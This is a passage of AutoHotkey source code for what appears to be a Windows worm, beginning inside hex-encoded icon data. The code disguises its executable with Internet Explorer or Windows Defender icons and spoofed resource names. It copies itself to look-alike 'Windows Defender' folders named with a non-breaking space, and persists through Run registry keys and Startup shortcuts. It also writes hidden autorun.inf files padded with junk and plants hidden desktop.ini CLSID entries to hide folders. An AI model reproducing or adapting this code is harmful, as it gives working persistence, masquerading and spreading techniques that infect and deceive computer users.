F80000FFFE(5)3FC0000FFFF80000FFC0000FFFFE0003FFC0000FFFFFE000FF80000FFFFFFFE03F80000FFFFFFFF80010000FFFFFFFFE0030000FFFFFFFFFFFF0000FFFFFFFFFFFF(4)" | |
| _IE_2 := "2(7)4(8)1002(11)801(53)89F9FF057AF8FF0D6AF9FF0C(224)9EFAFF0B8AF9FF197BFBFF1768F7FE2637C7ED7816A9E6BC0B9BE1D90D9DE0B411ABE26911B1E521(168)AEFBFF0A9CFAFF228CFAFF277BFAFF382BB0E8CB007FD9FF108BD7E532A2DFAA34ABE7A129A1E0C51799E0DA239ED694299AC83B(152)AEFBFF1F9DFAFF378FFEFF365BD9F59F0087DBFF148FC7B74CAACE16(24)52C4F81F4CC6FD581AA1EBBB119FEB94339CCB1C(8)BA7D3E02A9691F05B37A3B03(104)ACFBFF329BFAFF4A8DFFFF583BBDEDDD008DD8FF3993AA53(48)60949F1E6B8F91946E7E73D6AE6A1EA0BE721FB1B6690EBBB9701EB5B36414A3A15D18848E551E507B4B191B(72)AAFBFF4298FAFF5C87FEFF7532B8ECE90091D5FF2C9ABA4F(32)622E002A85410494A84900DBC86300F4DB7E01FFE0961BFFE5A326FFE9A82CFFE5A124FFDD9218FFD07C09FFB96103FF964B06DC6D3C108F5F3E1A26(56)A6FBFF4B93FAFF6D82FEFF8235BDEDE90092D6FF189FCB73(16)411000074422097D7C3A03EFBA6102FFD8870DFFE9A624FFF4C144FFFAD763FFFCE47BFFFDE77FFFFBDF72FFF8CE57FFF1B837FFE49B19FFD37D08FFAD5601FF6F3503E949270A723E1F0601(40)9FFAFF468DF9FF7A7DFEFF8343CCF3E00094DAFF14A8DAB(9)421E0A0A3A1701A4622B00FFC06604FFDB8B0FFFE6A21FFFF1B83AFFF6CA54FFF9DC71FFFCE987FFFCEC8DFFFAE380FFF7D363FFF2C046FFEBAB2AFFDF9614FFD4800AFFBB6102FF6D3100FF3A1A039644270604(32)9DFBFF3486F9FF8076FCFF8255DFFACB059AE0FF05AFEBEA40747B1D4012009A612B00FF9F4C00FFCE7607FFDB9011FFE6A220FFF0B537FFF5C851FFFCDB6BFFFFE87BFFFFE97BFFFFE370FFFBD25BFFF3BE42FFEAA929FFDE9614FFD5850DFFCD7608FFB65C02FF5D2800FF2E1706943C291703(24)99FAFF1882F8FF7A71FAFF8663F1FFB01CA8EAFF00AFF3FB1E6278CA571A00FAA85100FFAB5200FFC46D06FFD98D10FFE39F1CFFEEB132FFFBC443FFEBB740FFBF8F30FEAA7C27F1B2832AF4D9A233FFF5B633FFE9A623FFDD9412FFD3840DFFCA7508FFC56804FF9C4C00FF3E1A01FF33211164(24)92FAFF0383F9FF606EF8FF9069FBFF983BC2F4F200A9F5FF0796C5FF82400BFFC05C00FF9F4E00FFB76002FFD88A0EFFE29C18FFF2AF27FFBD841FFF56320AB2351904553E23133340230D3D4F2E0C7D9E6A1AEFE8A11BFFDE9210FFD2830BFFCA7307FFC36803FFB75B00FF6D3200FF261202E439260F18(24)85F9FF2C6CF8FF9167FBFF8D5AE2FCD00EA5F0FF00BDFFFF677962FFC65700FF9C4F00FFA15300FFD3820AFFE89E14FFC88714FF3F23099E2C180A05(32)381F0C5AB27919FFEA9A10FFDA860BFFD17806FFC46A02FFB05A00FF854100FF351400FF2C1F158456463701(16)7BF8FF026FF8FF6B62F8FF9569F8FFA937BBF6FA00B0FDFF1DB0D6FFB35E10FFA95200FF884700FFC57305FFE8990FFF7C4D08E920100A22(48)5D3B0FAD976216D8865513D4824D0FD4703F06D35C3203D34F2903D3270F01D72E2828B06865610F(24)7AF8FF2463FBFF8F59E6E7AA5AC4DCF813AAF6FF01C4FFFF628C7BFFBC5400FF7F4400FFA65D01FFD78407FF523007B8(64)42280D0835210D06341E0C062D180906231208061E0F0706160C04071912100646424101(32)70FEFF4F4ED2D6C558A9A7FF48C1F5FF07B4FBFF18C1EDFF99692AFF944700FF7D4600FFB66902FF633B05D1614210776A4A147D6D4C157D6D4D157D6E4F187D6D4D187C6D4D187C694A1878644715765F421276583B0E764F320B76472809753B1F07752A14047611040079ACA9A71D(32)85FFFF0753CDD0AE46948DFF74C9D4FF27B3F8FF0DC7FFFF46A7ADFFA45204FF703D00FF874D01FFC47503FFD28309FFD4890DFFD78B0EFFD78E0FFFD99011FFD99011FFD89010FFD68D0EFFCF870BFFC17D09FFB27106FF9F6102FF8B5200FF784300FF542A00FF1D0B00FF80797239(40)34514E80409996FF67B5A9FF6CCDEFFF14B3F9FF1CD0FFFF6E8465FF893F00FF5F3600FF995A01FFD58204FFDF8B06FFE08D05FFE18F06FFE39205FFE49405FFE59705FFE49504FFDA8E04FFCC8604FFBD7A03FFA86A02FF915901FF7F4A00FF5F3200FF271202F42016092F(40)1F070078325C57FF4FB0A5FF78C8C4FF4FC2F8FF18BEFBFF2FC7E6FF7D5F29FF6E3500FF5E3600FF8D5401FFB26F07FFBC7A0EFFC17F11FFC58412FFC88812FFC68A11FFCA8D0DFFCE8E08FFC28405FFB57A04FFA36B03FF925C01FF804E00FF5F3400FF291402EB26190E27(40)21130659220B05FF4A8276FF4DBCB0FF7FD5DDFF39B9F8FF20CBFFFF43AFBCFF7C4309FF3B1A00C02E1400574122005F4828005F4F2F005F5633005F6644095E6847095B7B570FC6C78D0BFFBD8304FFB07805FFA46D03FF976304FF885602FF5E3400FF2B1607D530201116(40)26190B2D1A0700ED4A2910FF53A28AFF54D0C4FF7BD6ECFF2EB7F8FF29D2FFFF54948BFF451800B9(56)7C570FBDC38A07FFB78005FFB27D07FFAD7C0BFFA7780EFF98690CFF583200FF2F1909AB412D1901(40)35241505191106BC3E1B00FF6E4E18FF4DA890FF5CDAD0FF75D4F3FF2BBAFAFF34D7FCFF405F53F679594D48(40)5B412B429E720BF8C38F0FFFBB8B11FFBA8B12FFB68611FFAE7E0FFF976C0EFF4A2B03FF3A241064(56)26190E57231504FF6B4109FF785616FF54A484FF65DFD7FF6FD1F6FF2CC0FEFF34CCEEFF506157E4AC928760DAD8D920EBEAEB1AE0DDDE1BBAAEA055916C1EDFC1941CFFC39721FFC2961FFFBE921CFFB98B16FFB08213FF835D0CFF3C2107E051382114(56)311F1206170D04BC493514FF865E21FF886021FF659D76FF6DDFD8FF6AD4FCFF2EC4FEFF37C7E6FF65653EFF7D511AD8765F38C7755B2CD57F5E19FFAC8930FFC19A39FFC79D35FFC69C33FFC3992EFFBD9128FFAA8321FF5A3A07FF4C2D166D(72)291A0D2D1B1005E76D5837FF9A7A47FF9D7239FF84976CFF7DD8CCFF69D6FCFF2BC6FFFF3CCAEBFF9D9D6FFFBC924CFFAB9257FFA7935CFFA48F5AFFAE9454FFBC9D51FFC5A24CFFC6A047FFBE9B45FF7A5A1DFF3E2209B3(88)2215094B20160CF07F6E51FFB19A72FFB59264FFAB9E72FF9FCEB9FF77D7F4FF28C6FFFF31C6F2FFAFBDA2FFE4BE88FFCFB889FFC5B182FFBDA979FFBAA470FFC0A76DFFC0A86BFF846A37FF462B12C560412217(16)1593DC8F46A1BA06(64)1E1106451E130BDB756755FFBEAF94FFD1BA9AFFD1B795FFD3CFB3FF93D8E8FF28C5FFFF23C1F7FFA8CCC2FFF5D4A8FFE5CFA5FFDECA9FFFDBCA9EFFC2B188FF755F3EFF381D04B05B463418(24)31A5DC420F8FD97C(72)1B0F021D15090195473C33F29D9484FFD4CABAFFEDDECAFFF6E9D4FFBDECF2FF4AD4FFFF18C3FFFF83C9D9FFEBD8BAFFDBC3A3FF9F8C70FF583F23D840260B6A43250908(32)36A8DF21289FDDD5(88)1004002C160B027E44392EBF7A7167DFA49B8FF4C8B8A7FDB0C0B8FD51B6D4FA1BBEFFFF3EB1DEFF4A5656C9390E00524416000D(56)1198D9D7(104)190A00051507002015090032190D073D250E073E3D40393570DCF2733BCCFFE214B1EDE61990BE7A2280A016(48)249ED07D0E98DDB5(160)75E9FC185EDEFE7F31CEFFDE18BCFEEC11A8EC950A9BE1481796D01B4B99AC072C98C3151191D5601195D3CC36A1C42A(176)6DE0F3145DDCF75139CAF9B325BCF4DB15B0F0E714A0DFCD119FE2CC109EE49E36A2C71B(264)C7FFFFFF801FFFFF0007FFFF01C11FFF03F001FF03C0007F0300001F02(5)F(7)7(7)7(7)38000F0018001F801C003FC01E(6)1E(6)1F(6)1F(6)1F(6)1F003F801F001F003F8(5)3F8(5)7FC(5)FFE(5)CFF00001CFF80003CFFE000FEFFF800FCFFFFF000FFFFFC01FFFFFFFF" | |
| _IE_3 := "18(6)3(8)1002(11)6009(44)83F9FF0873FEFF043ACCF0080DA1E41C099AE01C0DAEE404(136)9EFAFF1288FDFF1961EAFA4A1EAAE7B91099DFE9109ADEE712A2E1AE17A0DA5B269ACC13(120)A0FCFF2A85FAFE4623A9E6DC0C83CAD039A2DA4534AFEE3230ABED4E22A7EAA4129CE3C40BA3F54E(112)A1FFFF4570E9FA8D0A95DCFF3296B655(24)57B1D301608D9B4E438AA3D49C7236B8C47314ABBE7314B8BC6D15ACA75E128E894F17576D3E131A(56)9CFFFF6067E6F9A80A99DBFF19A3D25A(16)481A003A843800AABF5D00EEE2850AFFEEAB2CFFF1C34DFFF4C650FFEEB63BFFE1971CFFC57007FF944C08D65D330F764022080E(40)93FEFF716AEDFCA80EA2E2FF12A2D48E(8)390D005D6A3002EDC87107FFE69D18FFF3BD3DFFFADA68FFFFF18EFFFFF493FFFDE073FFF4C345FFE9A21DFFD68008FFA05000FF4B2203B23C220618(32)88FBFF746FF7FF9B1EB4EEF909A4DCCD3E3D3862612100F2AA5501FFD8860BFFE5A11EFFF2BB3DFFFFD85FFFFCDE6EFFF3D669FFFBD35BFFFAC242FFE5A220FFD98C0EFFD27607FF954700FF371A04BA3726150D(24)83F9FF6570FDFF913FCDF8DF00A6F0FD375152F8AB4500FFAE5600FFCC7A09FFE49F1AFFF4B530FFBE8B29F5764F16AF6B46178F835A1AB2CE9325FCEAA119FFD5880CFFCB7407FFC26302FF693000FF29170787(24)83F9FF386AFBFF905EE9FEBB09B3FFFF289BB7FFB85809FFA14B00FFBC6B04FFEDA114FFB27714F23018075B240C0206(8)391C080952310D7CD08C16FFE18E0DFFCE7506FFBD6401FF8B4300FF2E1302F345382B33(16)7BF8FF076BF9FF7266F8FBA638C0F6F400B7FEFF7F7E57FFA94800FF9E5801FFE08E0BFF563307A3(40)6A431083754A1293673C0D8F532D058E4020029020100595403C3B3D(24)76FDFF2B5AE8E7A856B7C7FA15BAFFFF25B1D2FFA25A12FF894600FFB46A03FF5131089C553C133C6F4F16426D4E17426C4E19426C4D1940573B1332442F10323E280D32351E0A322A160731120401374C464423(32)61DCDE7A53A29CFF55BFE8FF07C4FFFF5E9686FF8E3F00FF804800FFBB7105F7CA810DF1C9820EF3CA860FF3CB8610F3CA870FF3C7830EF2BB7A0BF1A66A07F18E5503F1764201F13B1700F34F453E92(32)3D5856523B8078FC71C6C4FF39C1FBFF1DC6F2FF766E43FF6C2F00FF965901FFD68505FFE18F08FFE4930BFFE6970AFFE69A09FFE29606FFD08B04FFBC7B03FF9F6402FF864F00FF542C00FF2011059(33)1A0000432C322CF853AFA1FF6DCFE0FF2AC4FFFF38B7CBFF734716FF461C00C3573000946C3F009C7346009C80530599875E0D9EAB790EEAC68A06FFB07704FF9C6703FF895601FF522C00FF28170B78(32)261A0B1A220400E2505C40FF5BCCBBFF65D2F4FF27C9FFFF499D9EFF3F170389(32)5C401114986B0AE1C28806FFB17E08FFAB7A0CFF9B6B0BFF4E2C01F93420114D(40)1E13079C512600FF657846FF5FD0C2FF5FD2FBFF2BCBFDFF427B7CE296746743(16)D1CBCB097D5F2E86B6870DFFC19216FFBB8D15FFB68611FF966C0DFF442808D346301B14(40)27180E322E1E08EF7F5012FF777D45FF6BCCBDFF58D8FFFF2AC8F7FF5D877CEB9E764DA49B886B918F794EBCA7832AFDC59C2FFFC69B2EFFC39828FFBC9022FF73510CFF4728116F(56)1E1107724F3C24FFA17843FF988A54FF87C4B0FF5BD7FCFF27C7F8FF789B81FFB98C47FFA98F52FFA9945CFFB39856FFC3A150FFCDAA52FF9A7931FF4B2C0BB14E2F180309ACFF333CA8CF04(40)26180B05190F06845C4E3BFBB69C79FFC8AD82FFBCC9AEFF76D4EDFF21C7FFFF5DB3CAFFECCA99FFDAC192FFCEBB8DFFCCB987FF978052FF50371CB55E38171A(9)9ACFF7D2998CD26(48)1D1005011408015843392FD29F9281FFDEC9B1FFF3E6D0FFA4EAFAFF33D4FFFF40B1DEFFE5D4B7FFCFB18CF9846646E5442001824C290F0F(17)FACFC2E169FE6BE(65)C000011150B045A473C329C7B6E62C0A48F7ED1749395CE30B7E7DC32B5E8FF37505AAC34242015(33)DABFB2E0EA1EB6C(89)B(5)80D0000102308000D63A4AB1F3FD3FF9423BFFACD0FA7EDCD0AAAF64E079EE613(9)DA9F73B0D9BE3AE219CD02A(128)65E2FE213ACBFE6E25BCF9BD10AAF2D90FA6F0D710A1E8AF1E9DD54339A2C109(200)81FFFF00007FFF00003FFF000E007F000C001F0008000F(7)7(7)7(5)80300003E030080000300C0000300C0000300C0000300C03C0300E0180300E0000700F0000100F0000900F8001900FE007900FFC01100FFFE0100FFFFFF00" | |
| _IE_4 := "1(7)2(8)1002(11)4004(44)2CE5FF440996F4C82297E9D71781B5D21686AFB00169A132(72)37FBFF1420B4FFD50C75C8A61461836D34AAFF5C34ADFBA2136A8FD52B545AAE7E4C00A2784A00A5683D00775B340022(32)3FFAFF3727B3FFF206537FBC(8)2A2E29376C3D02E0B57300FEECA200FFFFB614FFFFB30BFFDE9500FFAD6B00FE7B4900DF5532092A(16)45FCFF432ABCFCF1125E8AD1AC8A72207C3D00FEC37800FFE49E00FFFFBF1DFFFFD47BFFFFD270FFFFC32FFFFFAF05FFFFB72AFF864800FD5543374E(8)49FBFF3E43D6FFCF1FA0FFE68D4D0DD8954D00FFCF8500FFDE9800FFF6AE00FFEFA000FFDA9300FFFFCF6BFFFFC13CFFF2A100FFFFAD17FF803E00FC4D3E3A2043F7FF2E55EFFFA324B7FFFF547262FF863F00FFB97400FFD79000FF8A5500D23B1B092C5A25120C77460077FF8605FFFFB830FFFF9D0AFFFFA702FF5A3A24D939F5FF0F4AFBFF8A38C7F5FF10B5F3FF713A03FF8F4E00FFA86800FF2A1F171D(72)3BFAFF5973C4C3FF26C3FBFF38848FFF5C2200FF9B5200FF9B5800FFAD4C00FFA45100FFA45100FF9C4E00FF8F4200FF884100FF823D00FF331801B4(8)3B858025749E91FF55D7FDFF15BCFBFF454835FF633000FFF69700FFF99C00FFFCA000FFF8A100FFEC9600FFE69200FFF1A81AFFF68F03FF311603B7(8)621D0114A77326DF7DC5B8FF44CEFBFF0BADE7FF2F3429FF36360AD5412B08BB4A3406BB483003C1DC610FFFFF760EFFFCB053FFF1943DFF321704B1(16)BE7403C1F8BA29FF7CE0DEFF36CCFBFF139CC0FF0B3B5EFF023B6631(8)6A573A93F89617FFFEA72FFFFCCB57FFF29B3DFF2715098E(16)B67A095CFFAD06F4FFC84EFF70DCD4FF39D2FDFF2094A1FF23354BFE515755B5E59D28FFFEB340FFFECD5BFFFEC25AFFAF7138FF4D5F013C(24)C479009AFFB530FBFFCB5CFF81CDBAFF43D5FFFF26AABFFF476168FF868D73FFFFD267FFFFD677FFB67534FF62672565024B6389(24)8F420018C479009AFFB52EF9FECE5EFFC2D893FF75DCFFFF4DD7FFFF447072FF678273FF9B7148FF(16)1E89B0AD(40)B67A095CC8851EC2E4A221F3E3B133F04BD6BAC03ACBF8EE479CA6ED15565EBF034761A8126787C034B6E88E(80)77DEFB4744C7F4AC2CB9EFD829B3E7DF29B1E78B47CCF72481FF(7)F00001003(7)1(22)FF00008(7)8(7)8(7)C04(5)C(7)E(7)E0060000F8(6)FFC(5)" | |
| Dat1:= | |
| Dat2:= | |
| Dat3:= | |
| For xx, hdta in {_WD_1: _WD_1, _WD_2: _WD_2, _WD_3: _WD_3, _WD_4: _WD_4, _IE_1: _IE_1, _IE_2: _IE_2, _IE_3: _IE_3, _IE_4: _IE_4} { | |
| nw_hxx= | |
| For idx, st_ in StrSplit(StrReplace(StrReplace(hdta, "(", "`n("), ")", ")`n"), "`n") | |
| nw_hxx .= (InStr(st_, "(") && InStr(st_, ")")) ? zrs(trim(st_, "(|)")) : st_ | |
| %xx% := nw_hxx | |
| } | |
| } | |
| exp_xex := "49004500580050004C004F00520045002E004500580045" | |
| exp := "69006500780070006C006F00720065" | |
| exp_ds := "49006E007400650072006E006500740020004500780070006C006F007200650072" zrs(56) | |
| w := "4D00530041005300430055004900" | |
| wdf_xex := w "2E0045005800450000" | |
| wdf := w "00" | |
| wdf_ds := "570069006E0064006F0077007300200044006500660065006E0064006500720020005500730065007200200049006E0074006500720066006100630065" | |
| Try { | |
| fl := FileOpen(in_fl, "r") | |
| if !IsObject(fl) | |
| return 0 | |
| file_sz := fl.Length | |
| if (file_sz <= 0) | |
| return 0 | |
| fl.RawRead(file_, file_sz) | |
| fl.Close() | |
| } catch ee | |
| return 0 | |
| b2h(&file_, file_sz, fle_hx) | |
| VarSetCapacity(file_, 0) | |
| StringCaseSense, Off | |
| if (chgtyp="ix") | |
| Str_Replace(fle_hx, _WD_1, _IE_1),Str_Replace(fle_hx, _WD_2, _IE_2),Str_Replace(fle_hx, _WD_3, _IE_3),Str_Replace(fle_hx, _WD_4, _IE_4),Str_Replace(fle_hx, wdf_xex, exp_xex),Str_Replace(fle_hx, wdf, exp),Str_Replace(fle_hx, wdf_ds, exp_ds) | |
| Else | |
| Str_Replace(fle_hx, _IE_1, _WD_1),Str_Replace(fle_hx, _IE_2, _WD_2),Str_Replace(fle_hx, _IE_3, _WD_3),Str_Replace(fle_hx, _IE_4, _WD_4),Str_Replace(fle_hx, exp_xex, wdf_xex),Str_Replace(fle_hx, exp, wdf),Str_Replace(fle_hx, exp_ds, wdf_ds) | |
| h2b(bin,fle_hx) | |
| Try { | |
| tmp_fl := a_temp "\" get_num_seed(20) ".tmp" | |
| if !kill_del(tmp_fl) | |
| return 0 | |
| fl := FileOpen(tmp_fl, "w") | |
| if !IsObject(fl) | |
| return 0 | |
| fl.RawWrite(&bin, StrLen(fle_hx)//2) | |
| VarSetCapacity(bin, 0) | |
| file_sz_ := fl.Length | |
| fl.Close() | |
| } catch ee | |
| return 0 | |
| if (file_sz!=file_sz_) { | |
| kill_del(tmp_fl) | |
| return 0 | |
| } | |
| SplitPath, ScriptFullPath, , OtDr | |
| For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl} { | |
| if FileExist(bkfle) { | |
| if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz) | |
| kill_del(bkfle) | |
| } | |
| if !FileExist(bkfle) { | |
| if (chgtyp = ctyp) | |
| Try FileCopy, %cp_to%, %bkfle% | |
| Else if (fl_typ_nfo(ScriptFullPath) = ctyp) | |
| Try FileCopy, %ScriptFullPath%, %bkfle% | |
| if FileExist(bkfle) | |
| Try FileSetAttrib, +RS, %bkfle% | |
| } | |
| } | |
| Try FileCopy, %tmp_fl%, %cp_to%, 1 | |
| sleep, 50 | |
| if FileExist(cp_to) { | |
| SplitPath, cp_to, , OtDr | |
| For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl} { | |
| if FileExist(bkfle) { | |
| if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz) | |
| kill_del(bkfle) | |
| } | |
| if !FileExist(bkfle) { | |
| if (chgtyp = ctyp) | |
| Try FileCopy, %tmp_fl%, %bkfle% | |
| Else if (fl_typ_nfo(ScriptFullPath) = ctyp) | |
| Try FileCopy, %ScriptFullPath%, %bkfle% | |
| if FileExist(bkfle) | |
| Try FileSetAttrib, +RS, %bkfle% | |
| } | |
| } | |
| } | |
| kill_del(tmp_fl) | |
| if !FileExist(cp_to) | |
| Return 0 | |
| return 1 | |
| } | |
| b2h(ptrr, len, ByRef hxdmp="") { | |
| A_FI := A_FormatInteger | |
| SetFormat, Integer, Hex | |
| Loop, %len% | |
| hxdmp .= SubStr(StrReplace(*ptrr+0,"x"), -1),ptrr++ | |
| SetFormat, Integer, %A_FI% | |
| StringUpper, hxdmp, hxdmp | |
| } | |
| h2b(ByRef bin, hx) { | |
| Static fnnn | |
| If (fnnn = "") { | |
| h:="568B74240C8A164684D2743B578B7C240C538AC2C0E806B109F6E98AC802CAC0E104880F8A164684D2741A8AC2C0E806B309F6EB80E20F02C20AC188078A16474684D275CD5B5F5EC3" | |
| hdv := StrLen(h)//2 | |
| VarSetCapacity(fnnn,hdv) | |
| Loop %hdv% | |
| NumPut("0x" . SubStr(h,2*A_Index-1,2), fnnn, A_Index-1, "Char") | |
| } | |
| VarSetCapacity(bin,StrLen(hx)//2) | |
| Try DllCall(&fnnn, "uint", &bin, "Str", hx, "cdecl") | |
| } | |
| auto_rn_chk: | |
| if FileExist(atrn_fl) { | |
| Try fileread, jj, %atrn_fl% | |
| StrReplace(jj, "=", "", jjeq) | |
| StrReplace(atrun_ori, "=", "", eq) | |
| if (jjeq = eq) { | |
| atrn_err:=0 | |
| For indx, lpp in StrSplit(atrun_ori,"`n") { | |
| if indx < 3 | |
| continue | |
| Stringreplace, lpp, lpp,%WinDir%,`%WinDir`% | |
| Stringsplit, arn, lpp,= | |
| Try IniRead, dd, %atrn_fl%, autorun, %arn1% | |
| if (dd != arn2) { | |
| atrn_err = 1 | |
| break | |
| } | |
| } | |
| if atrn_err = 0 | |
| return | |
| } | |
| } | |
| kill_del(atrn_fl) | |
| sleep, 50 | |
| if FileExist(atrn_fl) | |
| return | |
| if !ths_aurn_hx | |
| { | |
| ths_aurn_hx := get_rdm_lns() . get_jnk_lns() | |
| For indx, lpp in StrSplit(atrun_ori,"`n") | |
| ths_aurn_hx .= get_rdm_lns() . get_jnk_lns() . s2h(lpp) . get_jnk_lns() | |
| ths_aurn_hx .= "0A" . get_rdm_lns() . get_rdm_lns() | |
| } | |
| mk_hxfl(atrn_fl, ths_aurn_hx) | |
| if FileExist(atrn_fl) | |
| Try filesetattrib, +RSAH, %atrn_fl% | |
| return | |
| strtup_ext: | |
| For indx, hk in ["HKLM", "HKCU"] { | |
| if (indx = 1 && !rg_lm_ok) | |
| continue | |
| rr := StrSplit(rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def), """") | |
| if (FileExist(rr[2]) && rr[3] = " " alt_0_chr) | |
| ExitApp | |
| } | |
| nb := RegExReplace(ScriptFullPath, "i)(.*)\\.*?\\.*?$", "$1") | |
| gosub, get_autoStrt_pths | |
| autoStrt_ScriptFullPaths := nb win_def_mscuiexe "`n" autoStrt_pths | |
| chk_dn = | | |
| For indx, autoStrt_pth in StrSplit(autoStrt_ScriptFullPaths,"`n") { | |
| if (!autoStrt_pth || InStr(chk_dn, "|" autoStrt_pth "|")) { | |
| continue | |
| } | |
| chk_dn .= autoStrt_pth "|" | |
| if !FileExist(autoStrt_pth) { | |
| SplitPath, autoStrt_pth, of, Odr | |
| Try filecreatedir, %Odr% | |
| Try filecopy, %ScriptFullPath%, %autoStrt_pth% | |
| sleep, 200 | |
| if FileExist(autoStrt_pth) { | |
| Try filesetattrib, +RS, %autoStrt_pth% | |
| Try filesetattrib, -H, %autoStrt_pth% | |
| Try filesetattrib, +RSH, %Odr% | |
| } | |
| } | |
| if FileExist(autoStrt_pth) { | |
| rg = "%autoStrt_pth%" %alt_0_chr% | |
| For indx, hk in ["HKLM", "HKCU"] { | |
| if (indx = 1 && !rg_lm_ok) | |
| continue | |
| if (rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def) = rg) | |
| ExitApp | |
| rg_wt(, hk, reg_sw_ms_win_cu_ru, win_alt0160_def, rg) | |
| if (rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def) = rg) | |
| ExitApp | |
| } | |
| } | |
| } | |
| ExitApp | |
| get_autoStrt_pths: | |
| if autoStrt_pths = | |
| { | |
| asp = %myprg_dir%%win_def_mscuiexe%`n | |
| pgdr := RegExReplace(ScriptFullPath, "i)(.*)\\.*?\\.*?$", "$1") | |
| if (pgdr != myprg_dir) | |
| asp .= pgdr win_def_mscuiexe "`n" | |
| asp .= ScriptFullPath | |
| autoStrt_pths := asp | |
| } | |
| return | |
| crtstrtup: | |
| chk_reg_mons() | |
| autoStrt_pth = | |
| hh_kk = | |
| gosub, get_autoStrt_pths | |
| if cls_id_208D2C60 = | |
| cls_id_208D2C60 := dcprt("5X56f6JXaVyOl3-aLjJ9SV1aUo3mLeaJcU1aWmnx8iZFVWVaXrsk-c", "LJG^%&&^j") | |
| chk_dn = | | |
| For indx, loopfield in StrSplit(autoStrt_pths,"`n") { | |
| if (!loopfield || InStr(chk_dn, "|" loopfield "|")) { | |
| continue | |
| } | |
| chk_dn .= loopfield "|" | |
| autoStrt_pth = %loopfield% | |
| SplitPath, autoStrt_pth, , asp_dr | |
| if autoStrt_pth = %ScriptFullPath% | |
| break | |
| rechk: | |
| if !FileExist(autoStrt_pth) { | |
| if !FileExist(dr) { | |
| Try filecreatedir, %asp_dr% | |
| Try filesetattrib, +RSH, %asp_dr% | |
| } | |
| chg_icn_typ_cpy(ScriptFullPath, autoStrt_pth, "wd") | |
| if !FileExist(autoStrt_pth) | |
| continue | |
| if (autoStrt_pth = myprg_dir win_def_mscuiexe) { | |
| loop, %prg_dir%\%win_def%\*.* | |
| if A_LoopFileSize < 1000000 | |
| ifnotexist, %myprg_dir%\%win_def%\%a_loopfilename% | |
| Try fileappend, %A_LoopFileFullPath%, %myprg_dir%\%win_def%\%a_loopfilename% | |
| Try filecreatedir, %myprg_dir%\%win_def%\en-US | |
| } | |
| sleep, 50 | |
| if FileExist(autoStrt_pth) | |
| break | |
| } | |
| if FileExist(autoStrt_pth) { | |
| ver := ver_typ(autoStrt_pth) | |
| if ver = 1 | |
| break | |
| else if (ver = 2) { | |
| Try run, %autoStrt_pth% %alt_0_chr%,, useerrorlevel, pp | |
| if (errorlevel = 0) { | |
| Try process, wait, %pp%, 5 | |
| Try process, waitclose, %pp%, 10 | |
| kill_del(autoStrt_pth, pp) | |
| } | |
| } | |
| else | |
| { | |
| kill_del(autoStrt_pth) | |
| if !FileExist(autoStrt_pth) | |
| goto, rechk | |
| } | |
| } | |
| } | |
| if !FileExist(autoStrt_pth) | |
| autoStrt_pth = %ScriptFullPath% | |
| chk_con_fl(autoStrt_pth) | |
| SplitPath, autoStrt_pth, , asp_dr | |
| asp_dr_dr := regexreplace(autoStrt_pth, "i)(.*)\\.*?\\.*?\.exe$", "$1") | |
| dr_ini = %asp_dr%\desktop.ini | |
| dr_dr_ini = %asp_dr_dr%\desktop.ini | |
| hh_kk = | |
| For indx, hk in ["HKLM", "HKCU"] { | |
| if (indx = 1 && !rg_lm_ok) | |
| continue | |
| gg := rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def) | |
| if gg != "%autoStrt_pth%" %alt_0_chr% | |
| continue | |
| hh_kk = %hk% | |
| kill_del(dr_ini) | |
| kill_del(dr_dr_ini) | |
| break | |
| } | |
| if hh_kk != | |
| goto strtp_dn | |
| if (!fst_tm_strtp_chk_dn) { | |
| fst_tm_strtp_chk_dn = 1 | |
| goto, try_reg_strt | |
| } | |
| For indx, ppth in [startupcommon, startup] { | |
| Try FileGetShortcut, %ppth%\%win_alt0160_def%.lnk, OTrgt,,OArg | |
| if errorlevel | |
| continue | |
| if (InStr(OTrgt, autoStrt_pth) && InStr(OArg, alt_0_chr) && FileExist(OTrgt)) { | |
| goto strtp_dn | |
| } | |
| } | |
| try_reg_strt: | |
| asp = "%autoStrt_pth%" %alt_0_chr% | |
| For indx, hk in ["HKLM", "HKCU"] { | |
| if (indx = 1 && !rg_lm_ok) | |
| continue | |
| if (!rg_wt(, hk, reg_sw_ms_win_cu_ru, win_alt0160_def, asp)) | |
| continue | |
| hh_kk := hk | |
| kill_del(dr_ini) | |
| kill_del(dr_dr_ini) | |
| if (!xp_hgr) { | |
| IniWrite, %cls_id_208D2C60%, %dr_ini%, .ShellClassInfo, CLSID | |
| Try filesetattrib, +RSH, %dr_ini% | |
| } | |
| goto strtp_dn | |
| } | |
| hh_kk = | |
| pw := prg_dir . win_def_mscuiexe | |
| if FileExist(pw) { | |
| icnfile := pw | |
| goto, icnn_ok | |
| } | |
| icnfile = %autoStrt_pth% | |
| icnn_ok: | |
| wdlc := dcprt("wbW4q82cmUaiz7KvtcKKmDCq2a-aru8eUlGA-c", "LJG^%&&^j") | |
| For indx, hh_kk in [startupcommon, startup] { | |
| lnkk := hh_kk "\" win_alt0160_def ".lnk" | |
| kill_del(lnkk) | |
| Try FileCreateShortcut, %autoStrt_pth%, %lnkk%, %prg_dir%,%alt_0_chr%, %wdlc% %prg_dir%\%win_def%, %icnfile%,,1 | |
| if !errorlevel | |
| { | |
| Try filesetattrib, +RSA, %lnkk% | |
| Try filesetattrib, -H, %lnkk% | |
| break | |
| } | |
| else | |
| hh_kk = | |
| } | |
| strtp_dn: | |
| if hh_kk contains HKLM,HKCU | |
| { | |
| For indx, lp in [startupcommon, startup] { | |
| lnk := lp "\" win_alt0160_def ".lnk" | |
| Try FileGetShortcut, %lnk%, OTrgt,,OArg | |
| if (FileExist(OTrgt) && InStr(OTrgt, autoStrt_pth) && InStr(OArg, alt_0_chr)) { | |
| Try filesetattrib, -RSAH, %lnk% | |
| Try filedelete, %lnk% | |
| } | |
| } | |
| } | |
| if (autoStrt_pth != ScriptFullPath) { | |
| Try IniRead, kk, %sd_ini%, .ShellClassInfo, CLSID | |
| if (kk != cls_id_208D2C60) { | |
